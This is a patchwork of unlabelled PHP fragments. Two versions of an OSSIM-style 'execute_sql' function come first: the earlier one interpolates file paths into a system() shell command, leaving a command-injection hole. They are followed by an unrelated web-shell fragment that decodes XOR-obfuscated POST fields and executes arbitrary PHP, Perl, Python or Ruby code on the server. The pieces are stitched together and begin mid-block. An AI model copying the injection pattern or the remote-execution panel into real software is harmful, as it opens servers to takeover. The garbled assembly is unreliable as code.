function execute_sql($path_file_log, $sql_file, $upgrade) { $php_file = str_replace("_mysql.sql", ".php", $sql_file); $php_file = preg_replace("/\\.gz\$/", "", $php_file); // Clean .gz if (file_exists($php_file)) { execute_php($php_file, $upgrade); } // Gzipped .sql.gz if (preg_match("/\\.gz\$/", $sql_file)) { $cmd = "zcat {$sql_file} | ossim-db > {$path_file_log} 2>&1"; // Normal .sql } else { $cmd = "ossim-db < {$sql_file} > {$path_file_log} 2>&1"; } system($cmd, $ret); return $ret; }
function execute_sql($path_file_log, $sql_file, $upgrade) { if (preg_match("/\\.gz\$/", $sql_file)) { // Gzipped .sql.gz $cmd = "zcat ? | ossim-db > ? 2>&1"; } else { // Normal .sql $cmd = "ossim-db < ? > ? 2>&1"; } try { Util::execute_command($cmd, array($sql_file, $path_file_log), 'array'); // Array mode to catch errors $php_file = str_replace("_mysql.sql", ".php", $sql_file); $php_file = preg_replace("/\\.gz\$/", "", $php_file); // Clean .gz if (file_exists($php_file)) { echo "\t Done\nExecuting: " . $sql_file . "..."; return execute_php($php_file, $upgrade, $path_file_log); } return 0; } catch (Exception $e) { return 1; } }
} if ($_SESSION["ruby"] != null) { echo "<option value='" . xor_this("Ruby") . "'>Ruby</option>"; } echo "\n\t\t\t\t</select>\n\t\t\t\t<input name='output_needed' type='checkbox'/>Show Output\n\t\t\t</td>\n\t\t</form>\n\t</tr>"; if (isset($_POST["eval_code"])) { $eval_code = unxor_this($_POST["eval_code"]); $eval_lang = unxor_this($_POST["eval_lang"]); if (isset($_POST["output_needed"])) { $output_needed = True; } else { $output_needed = False; } echo "<tr><td>"; if ($eval_lang == "Php") { execute_php($eval_code, $output_needed); } else { if ($eval_lang == "Perl") { echo execute_script($eval_code, $_SESSION["perl"], "pl", $output_needed); } else { if ($eval_lang == "Python") { echo execute_script($eval_code, $_SESSION["python"], "py", $output_needed); } else { if ($eval_lang == "Ruby") { echo execute_script($eval_code, $_SESSION["ruby"], "rb", $output_needed); } } } } echo "</td></tr>"; }